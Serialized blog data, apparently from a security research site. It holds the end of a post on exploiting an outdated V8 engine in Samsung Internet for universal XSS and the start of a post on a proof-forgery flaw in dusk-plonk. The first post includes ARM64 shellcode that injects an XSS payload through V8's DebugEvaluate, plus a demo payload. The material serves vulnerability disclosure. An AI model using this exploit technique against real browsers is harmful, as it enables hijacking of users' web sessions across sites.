#3\n",{"type":23,"tag":139,"props":139315,"children":139316},{"class":141,"line":1791},[139317],{"type":23,"tag":139,"props":139318,"children":139319},{},[139320],{"type":28,"value":137664},{"type":23,"tag":139,"props":139322,"children":139323},{"class":141,"line":1823},[139324],{"type":23,"tag":139,"props":139325,"children":139326},{},[139327],{"type":28,"value":137672},{"type":23,"tag":139,"props":139329,"children":139330},{"class":141,"line":1831},[139331],{"type":23,"tag":139,"props":139332,"children":139333},{},[139334],{"type":28,"value":137680},{"type":23,"tag":139,"props":139336,"children":139337},{"class":141,"line":1891},[139338],{"type":23,"tag":139,"props":139339,"children":139340},{},[139341],{"type":28,"value":137688},{"type":23,"tag":139,"props":139343,"children":139344},{"class":141,"line":7053},[139345],{"type":23,"tag":139,"props":139346,"children":139347},{},[139348],{"type":28,"value":137603},{"type":23,"tag":139,"props":139350,"children":139351},{"class":141,"line":7071},[139352],{"type":23,"tag":139,"props":139353,"children":139354},{"emptyLinePlaceholder":15},[139355],{"type":28,"value":184},{"type":23,"tag":139,"props":139357,"children":139358},{"class":141,"line":7116},[139359],{"type":23,"tag":139,"props":139360,"children":139361},{},[139362],{"type":28,"value":139363},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":139,"props":139365,"children":139366},{"class":141,"line":7222},[139367],{"type":23,"tag":139,"props":139368,"children":139369},{},[139370],{"type":28,"value":139371},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":139,"props":139373,"children":139374},{"class":141,"line":21518},[139375],{"type":23,"tag":139,"props":139376,"children":139377},{"emptyLinePlaceholder":15},[139378],{"type":28,"value":184},{"type":23,"tag":139,"props":139380,"children":139381},{"class":141,"line":21553},[139382],{"type":23,"tag":139,"props":139383,"children":139384},{},[139385],{"type":28,"value":139386},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":139,"props":139388,"children":139389},{"class":141,"line":21561},[139390],{"type":23,"tag":139,"props":139391,"children":139392},{},[139393],{"type":28,"value":139394},"mov x11, x0\n",{"type":23,"tag":139,"props":139396,"children":139397},{"class":141,"line":21569},[139398],{"type":23,"tag":139,"props":139399,"children":139400},{"emptyLinePlaceholder":15},[139401],{"type":28,"value":184},{"type":23,"tag":139,"props":139403,"children":139404},{"class":141,"line":21578},[139405],{"type":23,"tag":139,"props":139406,"children":139407},{},[139408],{"type":28,"value":139409},"// pop back isolate pointer\n",{"type":23,"tag":139,"props":139411,"children":139412},{"class":141,"line":21620},[139413],{"type":23,"tag":139,"props":139414,"children":139415},{},[139416],{"type":28,"value":139417},"ldr x13, [sp], #16\n",{"type":23,"tag":139,"props":139419,"children":139420},{"class":141,"line":21653},[139421],{"type":23,"tag":139,"props":139422,"children":139423},{"emptyLinePlaceholder":15},[139424],{"type":28,"value":184},{"type":23,"tag":139,"props":139426,"children":139427},{"class":141,"line":21661},[139428],{"type":23,"tag":139,"props":139429,"children":139430},{},[139431],{"type":28,"value":137724},{"type":23,"tag":139,"props":139433,"children":139434},{"class":141,"line":21669},[139435],{"type":23,"tag":139,"props":139436,"children":139437},{},[139438],{"type":28,"value":139439},"// x13 = isolate *\n",{"type":23,"tag":139,"props":139441,"children":139442},{"class":141,"line":21678},[139443],{"type":23,"tag":139,"props":139444,"children":139445},{},[139446],{"type":28,"value":139447},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":139,"props":139449,"children":139450},{"class":141,"line":21754},[139451],{"type":23,"tag":139,"props":139452,"children":139453},{},[139454],{"type":28,"value":139455},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":139,"props":139457,"children":139458},{"class":141,"line":21787},[139459],{"type":23,"tag":139,"props":139460,"children":139461},{"emptyLinePlaceholder":15},[139462],{"type":28,"value":184},{"type":23,"tag":139,"props":139464,"children":139465},{"class":141,"line":21795},[139466],{"type":23,"tag":139,"props":139467,"children":139468},{},[139469],{"type":28,"value":139470},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":139,"props":139472,"children":139473},{"class":141,"line":21803},[139474],{"type":23,"tag":139,"props":139475,"children":139476},{},[139477],{"type":28,"value":139478},"// arg0 = isolate *\n",{"type":23,"tag":139,"props":139480,"children":139481},{"class":141,"line":21840},[139482],{"type":23,"tag":139,"props":139483,"children":139484},{},[139485],{"type":28,"value":139486},"mov x0, x13\n",{"type":23,"tag":139,"props":139488,"children":139489},{"class":141,"line":21853},[139490],{"type":23,"tag":139,"props":139491,"children":139492},{},[139493],{"type":28,"value":139494},"// arg1 = char *c_str\n",{"type":23,"tag":139,"props":139496,"children":139497},{"class":141,"line":21866},[139498],{"type":23,"tag":139,"props":139499,"children":139500},{},[139501],{"type":28,"value":139502},"mov x1, x11\n",{"type":23,"tag":139,"props":139504,"children":139505},{"class":141,"line":21879},[139506],{"type":23,"tag":139,"props":139507,"children":139508},{},[139509],{"type":28,"value":139510},"// arg2 = type = kNormal\n",{"type":23,"tag":139,"props":139512,"children":139513},{"class":141,"line":21933},[139514],{"type":23,"tag":139,"props":139515,"children":139516},{},[139517],{"type":28,"value":139518},"mov x2, #0\n",{"type":23,"tag":139,"props":139520,"children":139521},{"class":141,"line":21942},[139522],{"type":23,"tag":139,"props":139523,"children":139524},{},[139525],{"type":28,"value":139526},"// arg4 = length\n",{"type":23,"tag":139,"props":139528,"children":139529},{"class":141,"line":30168},[139530],{"type":23,"tag":139,"props":139531,"children":139532},{},[139533],{"type":28,"value":139534},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":139,"props":139536,"children":139537},{"class":141,"line":30189},[139538],{"type":23,"tag":139,"props":139539,"children":139540},{},[139541],{"type":28,"value":139542},"// call NewFromUTF8\n",{"type":23,"tag":139,"props":139544,"children":139545},{"class":141,"line":78855},[139546],{"type":23,"tag":139,"props":139547,"children":139548},{},[139549],{"type":28,"value":139550},"blr x10\n",{"type":23,"tag":139,"props":139552,"children":139553},{"class":141,"line":78868},[139554],{"type":23,"tag":139,"props":139555,"children":139556},{"emptyLinePlaceholder":15},[139557],{"type":28,"value":184},{"type":23,"tag":139,"props":139559,"children":139560},{"class":141,"line":78876},[139561],{"type":23,"tag":139,"props":139562,"children":139563},{},[139564],{"type":28,"value":139565},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":139,"props":139567,"children":139568},{"class":141,"line":78884},[139569],{"type":23,"tag":139,"props":139570,"children":139571},{},[139572],{"type":28,"value":139573},"mov x14, x0\n",{"type":23,"tag":139,"props":139575,"children":139576},{"class":141,"line":78892},[139577],{"type":23,"tag":139,"props":139578,"children":139579},{"emptyLinePlaceholder":15},[139580],{"type":28,"value":184},{"type":23,"tag":139,"props":139582,"children":139583},{"class":141,"line":78932},[139584],{"type":23,"tag":139,"props":139585,"children":139586},{},[139587],{"type":28,"value":139588},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":139,"props":139590,"children":139591},{"class":141,"line":78940},[139592],{"type":23,"tag":139,"props":139593,"children":139594},{},[139595],{"type":28,"value":139596},"movz x1, #0xe44c\n",{"type":23,"tag":139,"props":139598,"children":139599},{"class":141,"line":86127},[139600],{"type":23,"tag":139,"props":139601,"children":139602},{},[139603],{"type":28,"value":139604},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":139,"props":139606,"children":139607},{"class":141,"line":86135},[139608],{"type":23,"tag":139,"props":139609,"children":139610},{},[139611],{"type":28,"value":139612},"sub x9, x12, x1\n",{"type":23,"tag":139,"props":139614,"children":139615},{"class":141,"line":99481},[139616],{"type":23,"tag":139,"props":139617,"children":139618},{"emptyLinePlaceholder":15},[139619],{"type":28,"value":184},{"type":23,"tag":139,"props":139621,"children":139622},{"class":141,"line":99489},[139623],{"type":23,"tag":139,"props":139624,"children":139625},{},[139626],{"type":28,"value":139627},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":139,"props":139629,"children":139630},{"class":141,"line":99497},[139631],{"type":23,"tag":139,"props":139632,"children":139633},{},[139634],{"type":28,"value":139478},{"type":23,"tag":139,"props":139636,"children":139637},{"class":141,"line":99505},[139638],{"type":23,"tag":139,"props":139639,"children":139640},{},[139641],{"type":28,"value":139486},{"type":23,"tag":139,"props":139643,"children":139644},{"class":141,"line":99533},[139645],{"type":23,"tag":139,"props":139646,"children":139647},{},[139648],{"type":28,"value":139649},"// arg1 = String *source\n",{"type":23,"tag":139,"props":139651,"children":139652},{"class":141,"line":102304},[139653],{"type":23,"tag":139,"props":139654,"children":139655},{},[139656],{"type":28,"value":139657},"mov x1, x14\n",{"type":23,"tag":139,"props":139659,"children":139660},{"class":141,"line":102312},[139661],{"type":23,"tag":139,"props":139662,"children":139663},{},[139664],{"type":28,"value":139665},"// arg2 = mode = kDefault\n",{"type":23,"tag":139,"props":139667,"children":139669},{"class":141,"line":139668},69,[139670],{"type":23,"tag":139,"props":139671,"children":139672},{},[139673],{"type":28,"value":139518},{"type":23,"tag":139,"props":139675,"children":139677},{"class":141,"line":139676},70,[139678],{"type":23,"tag":139,"props":139679,"children":139680},{},[139681],{"type":28,"value":139682},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":139,"props":139684,"children":139686},{"class":141,"line":139685},71,[139687],{"type":23,"tag":139,"props":139688,"children":139689},{},[139690],{"type":28,"value":139691},"mov x3, #0\n",{"type":23,"tag":139,"props":139693,"children":139695},{"class":141,"line":139694},72,[139696],{"type":23,"tag":139,"props":139697,"children":139698},{"emptyLinePlaceholder":15},[139699],{"type":28,"value":184},{"type":23,"tag":139,"props":139701,"children":139703},{"class":141,"line":139702},73,[139704],{"type":23,"tag":139,"props":139705,"children":139706},{},[139707],{"type":28,"value":139204},{"type":23,"tag":666,"props":139709,"children":139711},{"id":139710},"uxss-demo",[139712],{"type":28,"value":139713},"UXSS Demo",{"type":23,"tag":24,"props":139715,"children":139716},{},[139717,139719,139725],{"type":28,"value":139718},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":135,"props":139720,"children":139722},{"className":139721},[],[139723],{"type":28,"value":139724},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":73},{"type":23,"tag":129762,"props":139727,"children":139730},{"className":139728,"controls":15},[139729],"blog-video-responsive",[139731,139733,139737],{"type":28,"value":139732},"\n  ",{"type":23,"tag":138968,"props":139734,"children":139736},{"src":139735,"type":129760},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":139738},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":41,"props":139740,"children":139741},{"id":26955},[139742],{"type":28,"value":16955},{"type":23,"tag":24,"props":139744,"children":139745},{},[139746],{"type":28,"value":139747},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":24,"props":139749,"children":139750},{},[139751],{"type":28,"value":139752},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":817,"props":139754,"children":139755},{},[139756],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":139758},[139759,139763,139766,139776],{"id":27037,"depth":151,"text":27040,"children":139760},[139761,139762],{"id":129896,"depth":160,"text":129899},{"id":129979,"depth":160,"text":129982},{"id":130012,"depth":151,"text":130015,"children":139764},[139765],{"id":130153,"depth":160,"text":130007},{"id":130297,"depth":151,"text":130300,"children":139767},[139768,139769,139770,139771,139772,139773,139774,139775],{"id":130303,"depth":160,"text":130306},{"id":130760,"depth":160,"text":130763},{"id":130943,"depth":160,"text":130946},{"id":131054,"depth":160,"text":131057},{"id":131331,"depth":160,"text":131334},{"id":134041,"depth":160,"text":134044},{"id":137322,"depth":160,"text":137325},{"id":139710,"depth":160,"text":139713},{"id":26955,"depth":151,"text":16955},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":139781,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":139782,"description":139783,"date":139784,"author":139785,"image":139786,"isFeatured":15,"onBlogPage":15,"tags":139788,"body":139791,"_type":831,"_id":145055,"_source":833,"_file":145056,"_stem":145057,"_extension":836},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[105742,105743],{"src":139787,"width":95172,"height":13},"/posts/dusk-commitment-issues/title.png",[139789,139790],"dusk","plonk",{"type":20,"children":139792,"toc":145035},[139793,139799,139840,139852,139858,139872,139877,139883,140174,140178,140450,140680,140686,141371,141375,141870,141878,141884,141903,141908,141914,142139,142178,142189,142195,142206,142914,142919,142922,142928,142981,143016,143048,143053,143057,143060,143066,143077,143090,143121,143188,143196,143218,143231,143658,143681,143686,143689,143694,143721,143817,143828,143875,143913,143924,144262,144279,144287,144290,144296,144301,144335,144343,144424,144427,144433,144447,144465,144470,144510,144518,144539,144542,144548,144553,144618,144632,144635,144641,144681,144692,144697,144702,144708,144722,144803,144824,144851,144854,144860,144874,144879,144884,144889,145024,145030],{"type":23,"tag":33262,"props":139794,"children":139796},{"id":139795},"commitment-issues-unverified-evaluations-in-dusks-plonk",[139797],{"type":28,"value":139798},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":139800,"children":139801},{},[139802,139804,139811,139813,139820,139822,139829,139831,139838],{"type":28,"value":139803},"We found a critical soundness vulnerability in ",{"type":23,"tag":64,"props":139805,"children":139808},{"href":139806,"rel":139807},"https://github.com/dusk-network/plonk/",[68],[139809],{"type":28,"value":139810},"dusk-plonk",{"type":28,"value":139812},", the PLONK implementation powering ",{"type":23,"tag":64,"props":139814,"children":139817},{"href":139815,"rel":139816},"https://dusk.network/",[68],[139818],{"type":28,"value":139819},"Dusk Network's",{"type":28,"value":139821}," ~$60M ",{"type":23,"tag":64,"props":139823,"children":139826},{"href":139824,"rel":139825},"https://www.coingecko.com/en/coins/dusk",[68],[139827],{"type":28,"value":139828},"market cap",{"type":28,"value":139830},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":64,"props":139832,"children":139835},{"href":139833,"rel":139834},"https://github.com/dusk-network/rusk",[68],[139836],{"type":28,"value":139837},"Rusk",{"type":28,"value":139839}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":139841,"children":139842},{},[139843,139845,139850],{"type":28,"value":139844},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":56,"props":139846,"children":139847},{},[139848],{"type":28,"value":139849},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":139851}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":41,"props":139853,"children":139855},{"id":139854},"how-plonk-works-briefly",[139856],{"type":28,"value":139857},"How PLONK works (briefly)",{"type":23,"tag":24,"props":139859,"children":139860},{},[139861,139863,139870],{"type":28,"value":139862},"For a rigorous treatment see the ",{"type":23,"tag":64,"props":139864,"children":139867},{"href":139865,"rel":139866},"https://eprint.iacr.org/2019/953",[68],[139868],{"type":28,"value":139869},"original paper",{"type":28,"value":139871},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":139873,"children":139874},{},[139875],{"type":28,"value":139876},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":666,"props":139878,"children":139880},{"id":139879},"arithmetic-circuits-and-constraints",[139881],{"type":28,"value":139882},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":139884,"children":139885},{},[139886,139888,139937,139939,140088,140090,140173],{"type":28,"value":139887},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":135,"props":139889,"children":139891},{"className":139890},[1981,1982],[139892],{"type":23,"tag":139,"props":139893,"children":139895},{"className":139894},[1987],[139896],{"type":23,"tag":139,"props":139897,"children":139899},{"className":139898,"ariaHidden":1993},[1992],[139900],{"type":23,"tag":139,"props":139901,"children":139903},{"className":139902},[1998],[139904,139908,139913,139918,139923,139927,139932],{"type":23,"tag":139,"props":139905,"children":139907},{"className":139906,"style":2110},[2003],[],{"type":23,"tag":139,"props":139909,"children":139911},{"className":139910},[19725],[139912],{"type":28,"value":262},{"type":23,"tag":139,"props":139914,"children":139916},{"className":139915},[2009,19596],[139917],{"type":28,"value":17284},{"type":23,"tag":139,"props":139919,"children":139921},{"className":139920},[2121],[139922],{"type":28,"value":2124},{"type":23,"tag":139,"props":139924,"children":139926},{"className":139925,"style":2128},[2089],[],{"type":23,"tag":139,"props":139928,"children":139930},{"className":139929,"style":91437},[2009,19596],[139931],{"type":28,"value":1090},{"type":23,"tag":139,"props":139933,"children":139935},{"className":139934},[19747],[139936],{"type":28,"value":1104},{"type":28,"value":139938}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":135,"props":139940,"children":139942},{"className":139941},[1981,1982],[139943],{"type":23,"tag":139,"props":139944,"children":139946},{"className":139945},[1987],[139947],{"type":23,"tag":139,"props":139948,"children":139950},{"className":139949,"ariaHidden":1993},[1992],[139951,140013,140075],{"type":23,"tag":139,"props":139952,"children":139954},{"className":139953},[1998],[139955,139959,140000,140004,140009],{"type":23,"tag":139,"props":139956,"children":139958},{"className":139957,"style":121288},[2003],[],{"type":23,"tag":139,"props":139960,"children":139962},{"className":139961},[2009],[139963,139968],{"type":23,"tag":139,"props":139964,"children":139966},{"className":139965,"style":91437},[2009,19596],[139967],{"type":28,"value":1090},{"type":23,"tag":139,"props":139969,"children":139971},{"className":139970},[2025],[139972],{"type":23,"tag":139,"props":139973,"children":139975},{"className":139974},[2030],[139976],{"type":23,"tag":139,"props":139977,"children":139979},{"className":139978},[2035],[139980],{"type":23,"tag":139,"props":139981,"children":139983},{"className":139982,"style":2004},[2040],[139984],{"type":23,"tag":139,"props":139985,"children":139986},{"style":2044},[139987,139991],{"type":23,"tag":139,"props":139988,"children":139990},{"className":139989,"style":2050},[2049],[],{"type":23,"tag":139,"props":139992,"children":139994},{"className":139993},[2055,2056,2057,2058],[139995],{"type":23,"tag":139,"props":139996,"children":139998},{"className":139997},[2009,2058],[139999],{"type":28,"value":1099},{"type":23,"tag":139,"props":140001,"children":140003},{"className":140002,"style":2187},[2089],[],{"type":23,"tag":139,"props":140005,"children":140007},{"className":140006},[2192],[140008],{"type":28,"value":1067},{"type":23,"tag":139,"props":140010,"children":140012},{"className":140011,"style":2187},[2089],[],{"type":23,"tag":139,"props":140014,"children":140016},{"className":140015},[1998],[140017,140021,140062,140066,140071],{"type":23,"tag":139,"props":140018,"children":140020},{"className":140019,"style":121163},[2003],[],{"type":23,"tag":139,"props":140022,"children":140024},{"className":140023},[2009],[140025,140030],{"type":23,"tag":139,"props":140026,"children":140028},{"className":140027},[2009,19596],[140029],{"type":28,"value":17284},{"type":23,"tag":139,"props":140031,"children":140033},{"className":140032},[2025],[140034],{"type":23,"tag":139,"props":140035,"children":140037},{"className":140036},[2030],[140038],{"type":23,"tag":139,"props":140039,"children":140041},{"className":140040},[2035],[140042],{"type":23,"tag":139,"props":140043,"children":140045},{"className":140044,"style":2004},[2040],[140046],{"type":23,"tag":139,"props":140047,"children":140048},{"style":2044},[140049,140053],{"type":23,"tag":139,"props":140050,"children":140052},{"className":140051,"style":2050},[2049],[],{"type":23,"tag":139,"props":140054,"children":140056},{"className":140055},[2055,2056,2057,2058],[140057],{"type":23,"tag":139,"props":140058,"children":140060},{"className":140059},[2009,2058],[140061],{"type":28,"value":15308},{"type":23,"tag":139,"props":140063,"children":140065},{"className":140064,"style":2090},[2089],[],{"type":23,"tag":139,"props":140067,"children":140069},{"className":140068},[2095],[140070],{"type":28,"value":2382},{"type":23,"tag":139,"props":140072,"children":140074},{"className":140073,"style":2090},[2089],[],{"type":23,"tag":139,"props":140076,"children":140078},{"className":140077},[1998],[140079,140083],{"type":23,"tag":139,"props":140080,"children":140082},{"className":140081,"style":91982},[2003],[],{"type":23,"tag":139,"props":140084,"children":140086},{"className":140085},[2009],[140087],{"type":28,"value":52569},{"type":28,"value":140089},", here in ",{"type":23,"tag":135,"props":140091,"children":140093},{"className":140092},[1981,1982],[140094],{"type":23,"tag":139,"props":140095,"children":140097},{"className":140096},[1987],[140098],{"type":23,"tag":139,"props":140099,"children":140101},{"className":140100,"ariaHidden":1993},[1992],[140102],{"type":23,"tag":139,"props":140103,"children":140105},{"className":140104},[1998],[140106,140111],{"type":23,"tag":139,"props":140107,"children":140110},{"className":140108,"style":140109},[2003],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":140112,"children":140114},{"className":140113},[2009],[140115,140120],{"type":23,"tag":139,"props":140116,"children":140118},{"className":140117},[2009,119726],[140119],{"type":28,"value":119729},{"type":23,"tag":139,"props":140121,"children":140123},{"className":140122},[2025],[140124],{"type":23,"tag":139,"props":140125,"children":140127},{"className":140126},[2030,19650],[140128,140162],{"type":23,"tag":139,"props":140129,"children":140131},{"className":140130},[2035],[140132,140157],{"type":23,"tag":139,"props":140133,"children":140135},{"className":140134,"style":91003},[2040],[140136],{"type":23,"tag":139,"props":140137,"children":140138},{"style":91007},[140139,140143],{"type":23,"tag":139,"props":140140,"children":140142},{"className":140141,"style":2050},[2049],[],{"type":23,"tag":139,"props":140144,"children":140146},{"className":140145},[2055,2056,2057,2058],[140147],{"type":23,"tag":139,"props":140148,"children":140150},{"className":140149},[2009,2058],[140151],{"type":23,"tag":139,"props":140152,"children":140154},{"className":140153},[2009,2058],[140155],{"type":28,"value":140156},"37",{"type":23,"tag":139,"props":140158,"children":140160},{"className":140159},[19753],[140161],{"type":28,"value":19756},{"type":23,"tag":139,"props":140163,"children":140165},{"className":140164},[2035],[140166],{"type":23,"tag":139,"props":140167,"children":140169},{"className":140168,"style":91034},[2040],[140170],{"type":23,"tag":139,"props":140171,"children":140172},{},[],{"type":28,"value":73},{"type":23,"tag":140175,"props":140176,"children":140177},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":140179,"children":140180},{},[140181,140183,140209,140211,140290,140292,140369,140371,140448],{"type":28,"value":140182},"Each gate ",{"type":23,"tag":135,"props":140184,"children":140186},{"className":140185},[1981,1982],[140187],{"type":23,"tag":139,"props":140188,"children":140190},{"className":140189},[1987],[140191],{"type":23,"tag":139,"props":140192,"children":140194},{"className":140193,"ariaHidden":1993},[1992],[140195],{"type":23,"tag":139,"props":140196,"children":140198},{"className":140197},[1998],[140199,140204],{"type":23,"tag":139,"props":140200,"children":140203},{"className":140201,"style":140202},[2003],"height:0.6595em;",[],{"type":23,"tag":139,"props":140205,"children":140207},{"className":140206},[2009,19596],[140208],{"type":28,"value":1728},{"type":28,"value":140210}," has a left input ",{"type":23,"tag":135,"props":140212,"children":140214},{"className":140213},[1981,1982],[140215],{"type":23,"tag":139,"props":140216,"children":140218},{"className":140217},[1987],[140219],{"type":23,"tag":139,"props":140220,"children":140222},{"className":140221,"ariaHidden":1993},[1992],[140223],{"type":23,"tag":139,"props":140224,"children":140226},{"className":140225},[1998],[140227,140232],{"type":23,"tag":139,"props":140228,"children":140231},{"className":140229,"style":140230},[2003],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":140233,"children":140235},{"className":140234},[2009],[140236,140241],{"type":23,"tag":139,"props":140237,"children":140239},{"className":140238,"style":90963},[2009,19596],[140240],{"type":28,"value":90966},{"type":23,"tag":139,"props":140242,"children":140244},{"className":140243},[2025],[140245],{"type":23,"tag":139,"props":140246,"children":140248},{"className":140247},[2030,19650],[140249,140279],{"type":23,"tag":139,"props":140250,"children":140252},{"className":140251},[2035],[140253,140274],{"type":23,"tag":139,"props":140254,"children":140256},{"className":140255,"style":91480},[2040],[140257],{"type":23,"tag":139,"props":140258,"children":140260},{"style":140259},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[140261,140265],{"type":23,"tag":139,"props":140262,"children":140264},{"className":140263,"style":2050},[2049],[],{"type":23,"tag":139,"props":140266,"children":140268},{"className":140267},[2055,2056,2057,2058],[140269],{"type":23,"tag":139,"props":140270,"children":140272},{"className":140271},[2009,19596,2058],[140273],{"type":28,"value":1728},{"type":23,"tag":139,"props":140275,"children":140277},{"className":140276},[19753],[140278],{"type":28,"value":19756},{"type":23,"tag":139,"props":140280,"children":140282},{"className":140281},[2035],[140283],{"type":23,"tag":139,"props":140284,"children":140286},{"className":140285,"style":91034},[2040],[140287],{"type":23,"tag":139,"props":140288,"children":140289},{},[],{"type":28,"value":140291},", right input ",{"type":23,"tag":135,"props":140293,"children":140295},{"className":140294},[1981,1982],[140296],{"type":23,"tag":139,"props":140297,"children":140299},{"className":140298},[1987],[140300],{"type":23,"tag":139,"props":140301,"children":140303},{"className":140302,"ariaHidden":1993},[1992],[140304],{"type":23,"tag":139,"props":140305,"children":140307},{"className":140306},[1998],[140308,140312],{"type":23,"tag":139,"props":140309,"children":140311},{"className":140310,"style":107921},[2003],[],{"type":23,"tag":139,"props":140313,"children":140315},{"className":140314},[2009],[140316,140321],{"type":23,"tag":139,"props":140317,"children":140319},{"className":140318,"style":90951},[2009,19596],[140320],{"type":28,"value":91770},{"type":23,"tag":139,"props":140322,"children":140324},{"className":140323},[2025],[140325],{"type":23,"tag":139,"props":140326,"children":140328},{"className":140327},[2030,19650],[140329,140358],{"type":23,"tag":139,"props":140330,"children":140332},{"className":140331},[2035],[140333,140353],{"type":23,"tag":139,"props":140334,"children":140336},{"className":140335,"style":91480},[2040],[140337],{"type":23,"tag":139,"props":140338,"children":140339},{"style":107950},[140340,140344],{"type":23,"tag":139,"props":140341,"children":140343},{"className":140342,"style":2050},[2049],[],{"type":23,"tag":139,"props":140345,"children":140347},{"className":140346},[2055,2056,2057,2058],[140348],{"type":23,"tag":139,"props":140349,"children":140351},{"className":140350},[2009,19596,2058],[140352],{"type":28,"value":1728},{"type":23,"tag":139,"props":140354,"children":140356},{"className":140355},[19753],[140357],{"type":28,"value":19756},{"type":23,"tag":139,"props":140359,"children":140361},{"className":140360},[2035],[140362],{"type":23,"tag":139,"props":140363,"children":140365},{"className":140364,"style":91034},[2040],[140366],{"type":23,"tag":139,"props":140367,"children":140368},{},[],{"type":28,"value":140370},", and output ",{"type":23,"tag":135,"props":140372,"children":140374},{"className":140373},[1981,1982],[140375],{"type":23,"tag":139,"props":140376,"children":140378},{"className":140377},[1987],[140379],{"type":23,"tag":139,"props":140380,"children":140382},{"className":140381,"ariaHidden":1993},[1992],[140383],{"type":23,"tag":139,"props":140384,"children":140386},{"className":140385},[1998],[140387,140391],{"type":23,"tag":139,"props":140388,"children":140390},{"className":140389,"style":107921},[2003],[],{"type":23,"tag":139,"props":140392,"children":140394},{"className":140393},[2009],[140395,140400],{"type":23,"tag":139,"props":140396,"children":140398},{"className":140397},[2009,19596],[140399],{"type":28,"value":90921},{"type":23,"tag":139,"props":140401,"children":140403},{"className":140402},[2025],[140404],{"type":23,"tag":139,"props":140405,"children":140407},{"className":140406},[2030,19650],[140408,140437],{"type":23,"tag":139,"props":140409,"children":140411},{"className":140410},[2035],[140412,140432],{"type":23,"tag":139,"props":140413,"children":140415},{"className":140414,"style":91480},[2040],[140416],{"type":23,"tag":139,"props":140417,"children":140418},{"style":91007},[140419,140423],{"type":23,"tag":139,"props":140420,"children":140422},{"className":140421,"style":2050},[2049],[],{"type":23,"tag":139,"props":140424,"children":140426},{"className":140425},[2055,2056,2057,2058],[140427],{"type":23,"tag":139,"props":140428,"children":140430},{"className":140429},[2009,19596,2058],[140431],{"type":28,"value":1728},{"type":23,"tag":139,"props":140433,"children":140435},{"className":140434},[19753],[140436],{"type":28,"value":19756},{"type":23,"tag":139,"props":140438,"children":140440},{"className":140439},[2035],[140441],{"type":23,"tag":139,"props":140442,"children":140444},{"className":140443,"style":91034},[2040],[140445],{"type":23,"tag":139,"props":140446,"children":140447},{},[],{"type":28,"value":140449},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":140451,"children":140452},{},[140453,140455,140460,140462,140566,140568,140671,140673,140678],{"type":28,"value":140454},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":659,"props":140456,"children":140457},{},[140458],{"type":28,"value":140459},"selector",{"type":28,"value":140461}," values that act as switches: setting ",{"type":23,"tag":135,"props":140463,"children":140465},{"className":140464},[1981,1982],[140466],{"type":23,"tag":139,"props":140467,"children":140469},{"className":140468},[1987],[140470],{"type":23,"tag":139,"props":140471,"children":140473},{"className":140472,"ariaHidden":1993},[1992],[140474,140553],{"type":23,"tag":139,"props":140475,"children":140477},{"className":140476},[1998],[140478,140482,140540,140544,140549],{"type":23,"tag":139,"props":140479,"children":140481},{"className":140480,"style":107841},[2003],[],{"type":23,"tag":139,"props":140483,"children":140485},{"className":140484},[2009],[140486,140491],{"type":23,"tag":139,"props":140487,"children":140489},{"className":140488,"style":91437},[2009,19596],[140490],{"type":28,"value":91440},{"type":23,"tag":139,"props":140492,"children":140494},{"className":140493},[2025],[140495],{"type":23,"tag":139,"props":140496,"children":140498},{"className":140497},[2030,19650],[140499,140529],{"type":23,"tag":139,"props":140500,"children":140502},{"className":140501},[2035],[140503,140524],{"type":23,"tag":139,"props":140504,"children":14050